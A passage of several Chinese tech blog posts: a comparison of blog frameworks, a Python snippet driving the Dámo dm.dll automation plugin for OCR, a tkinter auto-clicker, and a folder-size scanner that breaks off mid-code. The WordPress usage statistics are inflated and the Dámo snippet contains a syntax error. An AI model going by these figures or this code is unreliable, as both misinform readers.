简介Jekyll 是一个简单、易用的静态网站生成器，由 GitHub 联合创始人 Tom Preston-Werner 于2008年开发。它采用 Ruby 语言编写，将纯文本内容（主要是 Markdown 格式）转换成静态网站或博客。Jekyll 是 GitHub Pages 的默认引擎，这使其成为许多开发者和项目文档的首选工具。官方网站：https://jekyllrb.com官方文档：https://jekyllrb.com/docs/GitHub 仓库：https://github.com/jekyll/jekyll工作原理Jekyll 将 Markdown（或其他标记语言）文件和模板转换成完整的静态 HTML 网站。它不需要数据库，所有内容都存储在文本文件中。Jekyll 使用 Liquid 模板语言处理模板，支持 YAML 格式的头信息来设置变量和配置。主要特点无需数据库：所有内容都是静态文件Markdown 支持：可使用 Markdown 语法编写内容Liquid 模板系统：灵活的模板处理能力YAML 头信息：简单的元数据管理方式内置 GitHub Pages 支持：无缝集成 GitHub 托管插件系统：可通过插件扩展功能增量构建：只重新生成更改的页面优点与 GitHub Pages 完美集成：免费托管且部署流程简单简洁高效：专注于内容而非复杂配置安全性高：作为静态网站，不易受到常见网络攻击版本控制友好：所有内容都是文本文件，适合 Git 管理社区成熟：历史悠久，社区资源丰富丰富的主题：大量现成主题可供选择良好的文档：官方文档详细且易于理解缺点Ruby 环境依赖：需要安装 Ruby 和相关依赖，Windows 平台安装较复杂构建速度：大型站点构建速度可能较慢，特别是与 Hugo 等工具相比动态功能受限：作为静态网站，不支持复杂的动态功能插件在 GitHub Pages 受限：GitHub Pages 出于安全考虑禁用了自定义插件学习曲线：对不熟悉命令行的用户可能有一定门槛Ruby 生态系统：对主要使用其他语言的开发者可能不太熟悉Jekyll 作为最早的静态网站生成器之一，凭借其与 GitHub 的紧密集成和简洁的设计理念，在技术博客和项目文档领域占据重要地位。它特别适合那些重视简单性、安全性和版本控制的网站创建者。Hugo 简介Hugo 是一个高效、灵活的静态网站生成器，由 Steve Francia（spf13）于2013年创建，使用 Go 语言开发。因其卓越的性能和简单的部署流程，Hugo 迅速成为最受欢迎的静态网站生成器之一。它以构建速度极快著称，即使处理成千上万个页面也能在几秒内完成。官方网站：https://gohugo.io官方文档：https://gohugo.io/documentation/GitHub 仓库：https://github.com/gohugoio/hugo工作原理Hugo 将 Markdown 文件和模板转换为完整的 HTML 网站。它使用 Go 语言的模板系统处理布局，支持内容组织的分层结构，并提供强大的分类和标签功能。Hugo 的一个显著特点是不需要依赖外部运行时环境，它是一个独立的可执行文件。主要特点极速构建：构建速度非常快，通常只需几毫秒到几秒单一可执行文件：无需安装复杂的依赖环境强大的模板系统：基于 Go 语言的模板引擎内容组织灵活：支持复杂的内容结构和关系内置的 LiveReload：实时预览修改效果多语言支持：内置国际化功能短代码系统：可在 Markdown 中嵌入复杂功能优点构建速度无与伦比：可能是最快的静态网站生成器，特别适合大型站点安装简便：单一二进制文件，无需复杂依赖跨平台兼容性好：Windows、macOS、Linux 均可轻松运行资源处理能力强：内置图片处理、SASS/SCSS 编译等功能完善的文档：详细且结构良好的官方文档活跃的社区：大量主题和示例可供参考内容管理灵活：支持复杂的内容结构和分类方式缺点模板语法学习曲线：Go 模板语法对初学者可能不够直观主题定制复杂度：深度自定义主题需要一定的专业知识插件系统有限：相比其他生成器，缺乏正式的插件架构动态功能受限：作为静态网站，不支持复杂的服务器端功能配置选项众多：丰富的功能意味着配置项较多，初期可能令人困惑较新的生态系统：相比 Jekyll 等老牌工具，生态系统相对年轻Hugo 凭借其令人印象深刻的性能和灵活性，在静态网站生成器领域占据重要地位。它特别适合那些构建大型站点、重视构建速度和部署简便性的用户。作为一个成熟的工具，Hugo 既能满足简单博客的需求，也能应对企业级文档网站的复杂要求。除此之外，还有VuePress、Pelican等静态博客，我就不在一一赘述了。感兴趣的朋友可以去百度看看。基本功能都是大差不差，除此之外，还可以托管在github上。但是我个人并不喜欢使用静态博客，每次写一篇文章还需要生成页面。太蛋疼了～动态博客框架WordPress简介基于PHP和MySQL的免费开源内容管理系统，全球使用最广泛，有8000多个免费主题和5万多个免费插件，可扩展性、可维护性、可开发性都非常强，适合没有技术背景的普通用户搭建个人网站或公司门户网站，也适合有一定技术基础的用户进行深度定制。官方网站：https://wordpress.org (自托管版本)托管服务：https://wordpress.com (商业托管版本)官方文档：https://wordpress.org/support/GitHub 仓库：https://github.com/WordPress/WordPress工作原理WordPress 是一个动态网站系统，使用 PHP 处理请求并与 MySQL 数据库交互存储内容。它采用主题控制网站外观，插件扩展功能，并提供用户友好的管理后台。WordPress 遵循 MVC (模型-视图-控制器) 架构的变体，通过钩子(Hooks)系统实现高度可扩展性。优点用户友好的界面：直观的后台管理系统强大的内容编辑器：Gutenberg 块编辑器支持可视化编辑丰富的主题生态：数以万计的免费和付费主题庞大的插件库：超过 59,000 个官方插件灵活的内容类型：支持自定义文章类型和分类法多用户支持：完整的用户角色和权限管理SEO 友好：WordPress对Google SEO极其友好，就这点我还有点不舍得换媒体管理：内置媒体库和图像编辑功能评论系统：完整的用户交互和评论管理多语言支持：可通过插件实现多语言网站wordpress十分强大，用的人也是非常多。截至2023 年，全球WordPress 网站超过8.514 亿个，97% 的博主使用它。 全球排名1000万以内的网站中， 大约63.9%的站点使用WordPress搭建。 全球排名10000名以内的网站中，有34% 的站点使用WordPress搭建。而且大部分外贸公司都是使用wordpress进行建站。题外话：新版 http://nasa.gov最近美国国家航空航天局 (NASA) 正式上线了其新版网站 http://nasa.gov，新版本官网是使用 WordPress 构建，并且是从另外一大开源系统 Drupal 迁移过来，此次开发和迁移共花费了 18 个月，主要工作包括网站开发、数据迁移和内容建设。整个项目据说共耗费了百万美元，还是美国人有钱，做个官网都有那么多预算，羡慕死我了。缺点：性能考量：未经优化可能加载缓慢安全隐患：作为流行平台，是黑客攻击的常见目标资源消耗：需要较好的主机配置，特别是访问量大时插件依赖：过多插件可能导致冲突和安全问题更新风险：核心、主题和插件更新有时会导致兼容性问题数据库膨胀：长期使用可能导致数据库臃肿但是，这些问题都可以通过加钱和优化（少加点钱）解决：加载慢？加钱上cdn，redis缓存，性能不行？加钱升级机器，4核变8核，8g变16g，鸟枪变大炮。乙方箴言：懂技术的老板不一定会加钱，会加钱的老板一定懂技术！Typecho 简介Typecho 是一款轻量级的开源博客程序，由中国开发者团队于2008年创建。它使用 PHP 编写，采用 MySQL、PostgreSQL、SQLite 等多种数据库作为存储引擎。Typecho 以简洁、高效和易用性著称，特别受到追求极简主义的博客作者和开发者的青睐。官方网站：http://typecho.org 官方文档：http://docs.typecho.org GitHub 仓库：https://github.com/typecho/typecho工作原理Typecho 采用 MVC (模型-视图-控制器) 架构设计，具有清晰的代码结构和高度的可定制性。它使用自己开发的模板引擎处理前端显示，通过插件系统扩展功能，并提供简洁的后台管理界面。Typecho 的核心设计理念是"简单而不简陋"，专注于博客的本质功能。主要特点轻量级设计：核心程序仅约 500KB，相当的小高性能：优化的代码结构和数据库查询，加载速度快Markdown 支持：原生支持 Markdown 编辑和渲染多数据库支持：兼容 MySQL、PostgreSQL、SQLite 等简洁的后台界面：直观、不臃肿的管理界面，这一点我相当喜欢！响应式设计：默认主题适配移动设备插件系统：可通过插件扩展功能主题机制：支持自定义主题开发多用户支持：可设置不同权限的用户角色评论管理：内置评论过滤和管理功能优点极简轻量：安装包小，服务器资源占用少速度快：页面加载和响应速度优秀代码优雅：遵循现代PHP编程规范，代码结构清晰易于部署：简单的安装流程，对主机要求低专注写作：界面设计以内容创作为中心安全性好：核心代码经过安全审计，漏洞少中文支持：原生支持中文，对中文用户友好社区主题：有一定数量的高质量社区主题二次开发友好：架构清晰，便于开发者扩展独立性强：不依赖复杂的第三方库缺点插件生态较小：相比WordPress等，插件数量有限功能相对基础：专注博客功能，不适合构建复杂网站官方更新节奏慢：版本迭代周期较长文档不够完善：官方文档更新不够及时国际化程度低：主要流行于中文社区社区规模有限：用户和开发者社区规模较小企业级支持缺乏：没有商业公司提供专业支持服务SEO功能基础：需要插件增强SEO能力Typecho 以其简洁、高效和易用性在博客平台中占有独特位置。它特别适合那些注重写作体验、网站性能，同时希望避免过度复杂系统的用户。虽然它可能不如一些主流CMS功能丰富，但其专注于博客核心功能的设计理念使其成为许多内容创作者的理想选择。目前个人博客就换成了Typecho,https://fuzhoupyy.work，非常喜欢它简洁的页面。整个网站架构也非常小巧，非常适合轻量机器使用。后续会陆续写一些功能上去，敬请期待！Solo特点：一个轻量级的Java博客系统，支持Markdown编辑器、代码高亮、多用户支持、评论系统等功能，界面简洁，操作方便，部署简单，可运行在Java环境下。你可以在线体验：https://demo.stackoverflow.wiki官方文档：https://doc.stackoverflow.wiki/web/#/7/46Halo 简介Halo 是一款现代化的开源博客/CMS系统，由中国开发者团队于2018年创建。它使用 Java 语言开发，基于 Spring Boot 框架构建，采用 Vue.js 作为前端框架。Halo 以其现代化的设计、优雅的用户界面和强大的扩展性在开发者和内容创作者中快速获得了广泛认可。官方网站：https://halo.run 官方文档：https://docs.halo.run GitHub 仓库：https://github.com/halo-dev/halo工作原理Halo 采用前后端分离的架构设计，后端基于 Spring Boot 提供 RESTful API，前端使用 Vue.js 构建单页应用。系统采用插件化设计，通过主题和插件机制实现功能扩展。Halo 的核心设计理念是"开箱即用，易于扩展"，致力于为用户提供现代化、高效的内容管理体验。主要特点现代化架构：基于 Spring Boot 和 Vue.js 的前后端分离架构强大的编辑器：支持 Markdown 编辑，内置多种编辑模式完善的主题系统：灵活的主题机制，支持在线安装和切换插件生态系统：丰富的插件扩展功能内容管理：支持文章、页面、分类、标签等多种内容类型多用户支持：完善的用户角色和权限管理API接口：完整的 RESTful API，方便二次开发评论系统：内置强大的评论管理功能数据统计：内置访问统计和数据分析Docker 支持：官方提供 Docker 镜像，便于部署优点现代化技术栈：采用当前流行的技术栈，性能优秀界面美观：精心设计的用户界面，操作体验出色安装简便：一键安装，支持多种部署方式功能丰富：涵盖博客系统所需的各种功能扩展性强：通过插件和主题可以实现各种定制需求活跃的开发：开发团队活跃，版本迭代频繁中文支持：原生支持中文，对中文用户友好文档完善：提供详尽的中英文文档社区支持：拥有活跃的用户社区和开发者社区开源透明：代码完全开源，安全可靠缺点资源消耗：作为Java应用，相比PHP博客系统资源消耗较大部署要求：对服务器配置有一定要求学习曲线：对于非技术用户，上手难度略高国际化程度：虽支持多语言，但主要流行于中文社区主题数量：相比WordPress等老牌系统，主题数量较少插件生态：插件生态系统仍在发展中企业级支持：缺乏商业公司提供的专业支持服务二次开发门槛：需要Java和Vue.js相关知识部署要求Halo 的系统要求：JRE/JDK 11 或更高版本至少 512MB 内存（推荐 1GB 以上）支持 MySQL 5.7+、MariaDB 10.2+ 或 H2 Database约 200MB 的磁盘空间（不包括上传内容）支持 Docker 部署与其他CMS的比较相比 WordPress：Halo 架构更现代，界面更美观WordPress 插件和主题生态更成熟Halo 后台响应速度更快WordPress 适合各类网站，Halo 更专注于博客和内容网站相比 Typecho：Halo 功能更丰富，界面更现代Typecho 资源占用更少，对服务器要求更低Halo 有更活跃的开发迭代Typecho 安装和使用更简单相比 Ghost：Halo 功能更全面，定制性更强Ghost 编辑体验更专注于写作Halo 插件系统更灵活Ghost 有官方托管服务，Halo 需自行部署Halo 凭借其现代化的技术架构、优雅的设计和强大的功能，在博客系统中脱颖而出。它特别适合那些既追求美观界面和用户体验，又需要强大功能和扩展性的用户。虽然相比一些轻量级博客系统资源消耗较大，但其提供的功能和使用体验使其成为当前最受欢迎的开源博客系统之一，尤其在中文开发者社区中拥有广泛的用户基础。Next.js• 特点：基于React的框架，适合搭建企业级动态网站，具有响应式设计、SEO深度优化、MDX富文本交互、文章标签系统等功能，技术栈亮点在于可集成Tailwind CSS等现代前端技术。官方网站：https://nextjs.org官方文档：https://nextjs.org/docsGitHub 仓库：https://github.com/vercel/next.js博客框架选型总结经过对多种博客框架的详细分析，我们可以看到每种框架都有其独特的优势和适用场景。选择合适的博客框架应该基于个人需求、技术背景和资源条件来决定。静态博客框架静态博客框架如 Hexo、Jekyll 和 Hugo 适合追求高性能、低维护成本的用户。它们生成纯静态页面，加载速度快，安全性高，且可以免费托管在 GitHub Pages 等平台上。Hexo：基于 Node.js，对前端开发者友好，主题丰富，中文社区活跃Jekyll：与 GitHub Pages 完美集成，历史悠久，生态成熟Hugo：Go 语言开发，构建速度极快，适合大型站点然而，静态博客需要在本地环境生成页面后再部署，每次更新内容都需要重新构建，这一过程对非技术用户可能不够友好。动态博客框架动态博客框架提供了更丰富的功能和更便捷的内容管理体验，适合需要复杂功能或不具备技术背景的用户。WordPress：生态最成熟，插件和主题最丰富，适用范围广，但可能资源消耗较大，小白可以选这个！Typecho：轻量级设计，速度快，资源占用少，界面简洁，适合追求极简的博客作者Halo：现代化架构，界面美观，功能丰富，但作为Java应用资源需求较高，部署方便，小白无脑选这个！Solo：轻量级Java博客系统，适合Java开发者Next.js：基于React的现代框架，适合需要高度定制化的企业级网站个人选择建议根据不同的需求和背景，可以考虑以下选择：追求简单易用，无技术背景：WordPress 是最佳选择，拥有最友好的用户界面和最丰富的插件生态服务器资源有限，追求轻量：Typecho 以其极小的资源占用和快速响应脱颖而出重视现代化设计和用户体验：Halo 提供了精美的界面和现代化的功能技术爱好者，喜欢控制细节：静态博客如 Hugo（速度最快）或 Hexo（Node.js生态）是不错的选择需要与GitHub紧密集成：Jekyll 作为GitHub Pages的默认引擎最为便捷前端开发者寻求高度定制：Next.js 提供了基于React的强大框架无论选择哪种框架，重要的是它能够满足自己的核心需求，并且与自己的技术能力和可用资源相匹配。好的博客平台应该专注于内容创作，而不是被技术细节所困扰（虽然我在选择的时候一直很纠结，可能是我有选择困难症吧）。关注@运维躬行录，可免费领取《python全栈课程》，有什么网站搭建问题也欢迎咨询！
前言遇到一个朋友需求：对股票交易数据进行ocr识别（更好的方法是调用api接口，但是那个数据接口是闭源的，需要逆向），使用Tesseract OCR识别速度在200ms左右，速度不理想。这时候发现了大漠！大漠介绍大漠综合插件(dm.dll)采用vc6.0编写，是一款集前后台，文字识别，图色，键鼠，窗口，内存，DX，Call等功能于一身的综合插件。主要用于按键精灵、简单游、易语言等辅助制作工具，具有识别速度超级快的特点！ 采用COM接口编写，适用于所有语言调用。为什么它识别快？主要采用模板匹配和字库对比方法预先加载字库到内存，减少识别时的计算量字库针对常见字体和大小进行了优化所以要用大漠，需要建立字库，字库建立教程：https://www.cnblogs.com/100-rzsyztd/p/13045724.html免注册调用#! /usr/bin/env python # -*- coding: utf-8 -*- import ctypes import win32com.client import configparser class pydm: # 免注册调用 def __init__(self): reg =[注册码] reg2 = [附加码]#注册码附加码可以去某宝买，5块钱一个月 self.obj = ctypes.windll.LoadLibrary(r".\pydamo\DmReg.dll") self.obj.SetDllPathW(r".\pydamo\dm.dll"), 0) # 创建大漠对象 self.dm = win32com.client.DispatchEx("dm.dmsoft") self.dm.setDict(0, ".\dm_soft.txt") # 注册大漠 res = self.dm.Reg(reg, reg2) print("大漠注册返回值: {}".format(res)) self.dm.useDict(0) # 获取大漠版本号 print(self.dm.ver()) def ocr(self,x1, y1, x2, y2,ysms,mh=0.9): #x1, y1, x2, y2，屏幕区域坐标 #ysms 颜色范围 #mh 模糊度 s = self.dm.Ocr(x1, y1, x2, y2,ysms,mh) return s除此之外，大漠的其他功能都可以使用。具体功能可以阅读大漠使用说明。大漠官方文档：http://www.dmwebsite.net/
前言最近重复工作比较多，想着写个自动化脚本来替我打工！废话不多说，上源码：需要先安装第三方库：#使用国内源提速 pip install pyautogui keyboard -i https://pypi.tuna.tsinghua.edu.cn/simple/import tkinter as tk from tkinter import ttk, messagebox, simpledialog import pyautogui import time import threading import keyboard from functools import partial class Action: def __init__(self, action_type, x=0, y=0, key=None, description=None): self.action_type = action_type # "click", "key", "paste", "enter" self.x = x self.y = y self.key = key self.description = description or self.get_default_description() def get_default_description(self): if self.action_type == "click": return f"点击位置 ({self.x}, {self.y})" elif self.action_type == "key": return f"按键 {self.key}" elif self.action_type == "paste": return "粘贴 (Ctrl+V)" elif self.action_type == "enter": return "按回车键" return "未知操作" def execute(self, delay): if self.action_type == "click": pyautogui.click(self.x, self.y) elif self.action_type == "key": pyautogui.press(self.key) elif self.action_type == "paste": pyautogui.hotkey('ctrl', 'v') elif self.action_type == "enter": pyautogui.press('enter') time.sleep(delay) class EnhancedAutoClickerApp: def __init__(self, root): self.root = root self.root.title("自动化点击工具") self.root.geometry("600x600") # 存储动作列表 self.actions = [] # 设置循环次数和延迟时间 self.loop_count = tk.StringVar(value="10") self.delay_time = tk.StringVar(value="0.5") # 运行状态标志 self.is_running = False self.is_listening = False # 创建界面 self.create_widgets() # 设置F2热键监听 keyboard.add_hotkey('f2', self.on_f2_pressed) def create_widgets(self): # 主框架 main_frame = ttk.Frame(self.root, padding="10") main_frame.pack(fill=tk.BOTH, expand=True) # 标题 title_label = ttk.Label(main_frame, text="增强版自动化点击工具", font=("Arial", 16, "bold")) title_label.pack(pady=10) # 设置框架 settings_frame = ttk.LabelFrame(main_frame, text="设置") settings_frame.pack(fill=tk.X, padx=5, pady=5) # 循环设置 loop_frame = ttk.Frame(settings_frame) loop_frame.pack(fill=tk.X, padx=5, pady=5) ttk.Label(loop_frame, text="循环次数:").pack(side=tk.LEFT, padx=5) ttk.Entry(loop_frame, textvariable=self.loop_count, width=10).pack(side=tk.LEFT, padx=5) ttk.Label(loop_frame, text="操作间隔(秒):").pack(side=tk.LEFT, padx=5) ttk.Entry(loop_frame, textvariable=self.delay_time, width=10).pack(side=tk.LEFT, padx=5) # 操作按钮框架 button_frame = ttk.Frame(main_frame) button_frame.pack(fill=tk.X, padx=5, pady=5) # 添加鼠标点击按钮 self.add_click_btn = ttk.Button( button_frame, text="添加鼠标点击 (F2)", command=self.start_mouse_capture ) self.add_click_btn.pack(side=tk.LEFT, padx=5) # 添加其他操作按钮 ttk.Button( button_frame, text="添加粘贴操作", command=lambda: self.add_action(Action("paste")) ).pack(side=tk.LEFT, padx=5) ttk.Button( button_frame, text="添加回车键", command=lambda: self.add_action(Action("enter")) ).pack(side=tk.LEFT, padx=5) ttk.Button( button_frame, text="添加按键", command=self.add_key_action ).pack(side=tk.LEFT, padx=5) # 动作列表框架 actions_frame = ttk.LabelFrame(main_frame, text="动作列表 (可拖动排序)") actions_frame.pack(fill=tk.BOTH, expand=True, padx=5, pady=5) # 创建Treeview用于显示和排序动作 self.actions_tree = ttk.Treeview( actions_frame, columns=("序号", "动作"), show="headings", selectmode="browse" ) self.actions_tree.heading("序号", text="序号") self.actions_tree.heading("动作", text="动作") self.actions_tree.column("序号", width=50, anchor=tk.CENTER) self.actions_tree.column("动作", width=500, anchor=tk.W) self.actions_tree.pack(fill=tk.BOTH, expand=True, padx=5, pady=5) # 绑定拖放事件 self.actions_tree.bind("<ButtonPress-1>", self.on_tree_press) self.actions_tree.bind("<B1-Motion>", self.on_tree_motion) self.actions_tree.bind("<ButtonRelease-1>", self.on_tree_release) # 右键菜单 self.context_menu = tk.Menu(self.root, tearoff=0) self.context_menu.add_command(label="编辑", command=self.edit_action) self.context_menu.add_command(label="删除", command=self.delete_action) self.actions_tree.bind("<Button-3>", self.show_context_menu) # 控制按钮框架 control_frame = ttk.Frame(main_frame) control_frame.pack(fill=tk.X, padx=5, pady=10) self.start_btn = ttk.Button( control_frame, text="开始执行", command=self.start_automation ) self.start_btn.pack(side=tk.LEFT, padx=5) self.stop_btn = ttk.Button( control_frame, text="停止执行", command=self.stop_automation, state="disabled" ) self.stop_btn.pack(side=tk.LEFT, padx=5) ttk.Button( control_frame, text="清空列表", command=self.clear_actions ).pack(side=tk.LEFT, padx=5) # 状态栏 self.status_var = tk.StringVar(value="就绪") status_bar = ttk.Label(main_frame, textvariable=self.status_var, relief=tk.SUNKEN, anchor=tk.W) status_bar.pack(fill=tk.X, padx=5, pady=5) # 提示信息 ttk.Label( main_frame, text="提示: 按下F2可以捕获鼠标位置，按ESC键可以紧急停止执行", foreground="gray" ).pack(pady=5) # 设置拖放变量 self.drag_data = {"item": None, "x": 0, "y": 0} def on_tree_press(self, event): """开始拖动项目""" item = self.actions_tree.identify_row(event.y) if item: self.drag_data["item"] = item self.drag_data["x"] = event.x self.drag_data["y"] = event.y def on_tree_motion(self, event): """拖动项目时显示移动线""" if self.drag_data["item"]: # 显示拖动线 self.actions_tree.selection_set(self.drag_data["item"]) def on_tree_release(self, event): """释放拖动项目，重新排序""" if self.drag_data["item"]: target_item = self.actions_tree.identify_row(event.y) if target_item and target_item != self.drag_data["item"]: # 获取源和目标的索引 source_idx = int(self.actions_tree.item(self.drag_data["item"], "values")[0]) - 1 target_idx = int(self.actions_tree.item(target_item, "values")[0]) - 1 # 移动动作 action = self.actions.pop(source_idx) self.actions.insert(target_idx, action) # 更新显示 self.update_actions_tree() self.drag_data["item"] = None def show_context_menu(self, event): """显示右键菜单""" item = self.actions_tree.identify_row(event.y) if item: self.actions_tree.selection_set(item) self.context_menu.post(event.x_root, event.y_root) def edit_action(self): """编辑选中的动作""" selection = self.actions_tree.selection() if not selection: return item = selection[0] idx = int(self.actions_tree.item(item, "values")[0]) - 1 action = self.actions[idx] if action.action_type == "click": # 编辑点击位置 result = simpledialog.askstring( "编辑点击位置", "输入新的坐标 (x,y):", initialvalue=f"{action.x},{action.y}" ) if result: try: x, y = map(int, result.split(",")) action.x = x action.y = y action.description = f"点击位置 ({x}, {y})" self.update_actions_tree() except: messagebox.showerror("错误", "坐标格式无效，请使用 x,y 格式") elif action.action_type == "key": # 编辑按键 key = simpledialog.askstring( "编辑按键", "输入新的按键:", initialvalue=action.key ) if key: action.key = key action.description = f"按键 {key}" self.update_actions_tree() def delete_action(self): """删除选中的动作""" selection = self.actions_tree.selection() if not selection: return item = selection[0] idx = int(self.actions_tree.item(item, "values")[0]) - 1 self.actions.pop(idx) self.update_actions_tree() def start_mouse_capture(self): """开始捕获鼠标位置""" if not self.is_listening: self.is_listening = True self.add_click_btn.configure(text="正在捕获... (按F2记录位置)") self.status_var.set("按F2记录当前鼠标位置") def on_f2_pressed(self): """当按下F2时，捕获鼠标位置""" if self.is_listening: x, y = pyautogui.position() self.add_action(Action("click", x, y)) self.status_var.set(f"已添加点击位置: ({x}, {y})") def add_key_action(self): """添加按键动作""" key = simpledialog.askstring("添加按键", "输入要按下的键:") if key: self.add_action(Action("key", key=key)) def add_action(self, action): """添加动作到列表""" self.actions.append(action) self.update_actions_tree() # 如果是在捕获模式下，继续保持捕获状态 if not self.is_listening and action.action_type == "click": self.add_click_btn.configure(text="添加鼠标点击 (F2)") def update_actions_tree(self): """更新动作列表显示""" # 清空树 for item in self.actions_tree.get_children(): self.actions_tree.delete(item) # 添加动作 for i, action in enumerate(self.actions): self.actions_tree.insert("", "end", values=(i + 1, action.description)) def start_automation(self): """开始执行自动化任务""" if not self.actions: messagebox.showwarning("警告", "请先添加动作") return try: loops = int(self.loop_count.get()) delay = float(self.delay_time.get()) if loops <= 0 or delay < 0: messagebox.showwarning("警告", "循环次数和延迟时间必须大于0") return # 停止捕获模式 self.is_listening = False self.add_click_btn.configure(text="添加鼠标点击 (F2)") # 开始执行 self.is_running = True self.start_btn.configure(state="disabled") self.stop_btn.configure(state="normal") # 创建并启动执行线程 self.automation_thread = threading.Thread( target=self.run_automation, args=(loops, delay), daemon=True ) self.automation_thread.start() except ValueError: messagebox.showerror("错误", "请输入有效的循环次数和延迟时间") def run_automation(self, loops, delay): """在线程中执行自动化任务""" try: self.status_var.set("准备执行，3秒后开始...") time.sleep(3) # 给用户时间切换窗口 for loop in range(loops): if not self.is_running: break self.status_var.set(f"执行中: 第 {loop + 1}/{loops} 次循环") for i, action in enumerate(self.actions): if not self.is_running: break self.root.after(0, lambda idx=i: self.highlight_action(idx)) action.execute(delay) self.root.after(0, self.reset_ui) self.status_var.set("执行完成") except Exception as e: self.root.after(0, lambda: messagebox.showerror("执行错误", str(e))) self.root.after(0, self.reset_ui) def highlight_action(self, index): """高亮显示当前执行的动作""" for item in self.actions_tree.get_children(): idx = int(self.actions_tree.item(item, "values")[0]) - 1 if idx == index: self.actions_tree.selection_set(item) self.actions_tree.see(item) break def stop_automation(self): """停止执行""" self.is_running = False self.status_var.set("已停止执行") self.reset_ui() def reset_ui(self): """重置UI状态""" self.is_running = False self.start_btn.configure(state="normal") self.stop_btn.configure(state="disabled") def clear_actions(self): """清空动作列表""" if messagebox.askyesno("确认", "确定要清空所有动作吗?"): self.actions = [] self.update_actions_tree() self.status_var.set("动作列表已清空") def main(): root = tk.Tk() app = EnhancedAutoClickerApp(root) # 设置ESC键为紧急停止 keyboard.add_hotkey('esc', app.stop_automation) root.mainloop() if __name__ == "__main__": main() 实现一个自动化点击工具，使用Python的tkinter构建GUI界面，结合pyautogui和keyboard库实现自动化操作。核心功能概述自动化操作执行：可以按设定的循环次数和时间间隔自动执行一系列预定义的操作多种操作类型支持：鼠标点击（记录坐标）键盘按键粘贴操作（Ctrl+V）回车键操作动作管理功能：添加/编辑/删除动作拖拽排序动作顺序清空动作列表实时捕获鼠标位置：通过F2热键记录当前鼠标位置紧急停止机制：通过ESC键可随时中断执行代码结构分析1. Action类这是一个表示自动化操作的基础类，具有以下特点：class Action: def __init__(self, action_type, x=0, y=0, key=None, description=None): # 初始化操作类型和参数操作类型：支持"click"、"key"、"paste"、"enter"四种类型参数存储：存储坐标(x,y)、按键名称等描述生成：自动生成操作的文字描述执行方法：execute()方法根据操作类型调用pyautogui执行相应动作2. EnhancedAutoClickerApp类主应用类，实现了GUI界面和核心功能：初始化和界面构建def __init__(self, root): # 初始化应用 # 设置F2热键监听 def create_widgets(self): # 构建复杂的GUI界面元素创建主窗口和各种控件设置布局和事件绑定初始化数据结构和状态变量动作管理功能def add_action(self, action): # 添加动作到列表 def edit_action(self): # 编辑选中的动作 def delete_action(self): # 删除选中的动作支持添加、编辑和删除动作使用对话框收集用户输入实时更新界面显示拖放排序功能def on_tree_press(self, event): # 开始拖动 def on_tree_motion(self, event): # 拖动过程 def on_tree_release(self, event): # 完成拖动并重排序实现了Treeview控件中的项目拖放支持动作顺序的直观调整拖放后自动更新数据和界面鼠标位置捕获def start_mouse_capture(self): # 开始捕获鼠标位置 def on_f2_pressed(self): # 当按下F2时，捕获鼠标位置通过F2热键实时捕获鼠标坐标自动添加为点击操作自动化执行def start_automation(self): # 开始执行自动化任务 def run_automation(self, loops, delay): # 在线程中执行自动化任务使用单独线程执行操作，避免界面卡死支持设定循环次数和操作间隔执行过程中高亮显示当前操作提供紧急停止机制技术亮点多线程设计：使用threading模块创建后台线程执行自动化任务，保持GUI响应性热键集成：通过keyboard库实现全局热键（F2捕获位置，ESC紧急停止）拖放排序：实现了自定义的拖放排序功能，增强用户体验上下文菜单：右键菜单提供快捷操作状态管理：清晰的状态变量和UI状态同步机制异常处理：完善的错误处理和用户反馈使用场景这个工具适用于多种自动化场景：重复性表单填写：自动点击表单字段并输入数据游戏自动化：执行重复性游戏操作（如自动点击、自动钓鱼等）软件测试：自动执行UI测试步骤批量处理：自动执行多步骤的文件处理操作数据录入：简化重复性数据录入工作可能的改进点配置保存/加载：添加保存和加载操作序列的功能条件分支：增加条件判断和分支执行能力图像识别：整合图像识别功能，基于屏幕内容执行操作延时随机化：添加随机延时选项，使自动化操作更像人工操作日志记录：添加详细的执行日志功能这改进有空再做哈哈哈哈哈，使用截图：关注@运维躬行录，获取【按键精灵】。转发本文至三个技术群，可免费领取《python自动化办公教程》祝你效率翻倍
背景近期电脑一个盘亮红了，需要找出那个文件或文件夹吃了空间。手动找太麻烦了，就用python写个文件夹大小扫描工具。程序界面展示双击可打开文件夹！！程序功能说明文件/文件夹标识：在树状视图中添加了"类型"列，清晰地标识每个项目是"文件"还是"文件夹"使用 item.is_dir() 方法判断项目类型在 item_types 字典中存储每个树项目的类型信息基本扫描功能：扫描指定文件夹下所有文件和文件夹的大小显示每个项目的路径、大小和占总大小的百分比按大小降序排列结果用户界面：路径输入框和浏览按钮扫描进度条状态栏显示当前操作状态树状视图显示扫描结果交互功能：右键菜单提供"打开"、"打开所在文件夹"和"复制路径"功能双击项目可直接打开跨平台支持（Windows、macOS、Linux）错误处理：处理权限错误和IO错误文件操作失败时显示错误消息使用这个工具，用户可以轻松地：分析文件夹中哪些文件/子文件夹占用空间最大快速访问这些文件/文件夹复制路径用于其他操作这个工具在管理磁盘空间、清理大文件时特别有用。打包程序为了方便其他用户使用，使用pyinstaller将程序打包成可执行文件。pyinstaller -F -w 扫描磁盘工具.py程序源码import os import tkinter as tk from tkinter import filedialog, ttk, messagebox import threading from pathlib import Path import humanize # 用于格式化文件大小 import subprocess import platform import pyperclip # 用于复制到剪贴板 class FolderScannerApp: def __init__(self, root): self.root = root self.root.title("文件夹大小扫描工具") self.root.geometry("1000x600") self.root.minsize(1000, 600) # 创建主框架 self.main_frame = ttk.Frame(self.root, padding=10) self.main_frame.pack(fill=tk.BOTH, expand=True) # 创建顶部控制区域 self.control_frame = ttk.Frame(self.main_frame) self.control_frame.pack(fill=tk.X, pady=5) # 路径输入框 self.path_var = tk.StringVar() ttk.Label(self.control_frame, text="文件夹路径:").pack(side=tk.LEFT, padx=5) self.path_entry = ttk.Entry(self.control_frame, textvariable=self.path_var, width=50) self.path_entry.pack(side=tk.LEFT, padx=5, fill=tk.X, expand=True) # 浏览按钮 self.browse_btn = ttk.Button(self.control_frame, text="浏览", command=self.browse_folder) self.browse_btn.pack(side=tk.LEFT, padx=5) # 扫描按钮 self.scan_btn = ttk.Button(self.control_frame, text="扫描", command=self.start_scan) self.scan_btn.pack(side=tk.LEFT, padx=5) # 创建进度条 self.progress_var = tk.DoubleVar() self.progress_bar = ttk.Progressbar(self.main_frame, variable=self.progress_var, maximum=100) self.progress_bar.pack(fill=tk.X, pady=5) # 创建状态标签 self.status_var = tk.StringVar(value="就绪") self.status_label = ttk.Label(self.main_frame, textvariable=self.status_var) 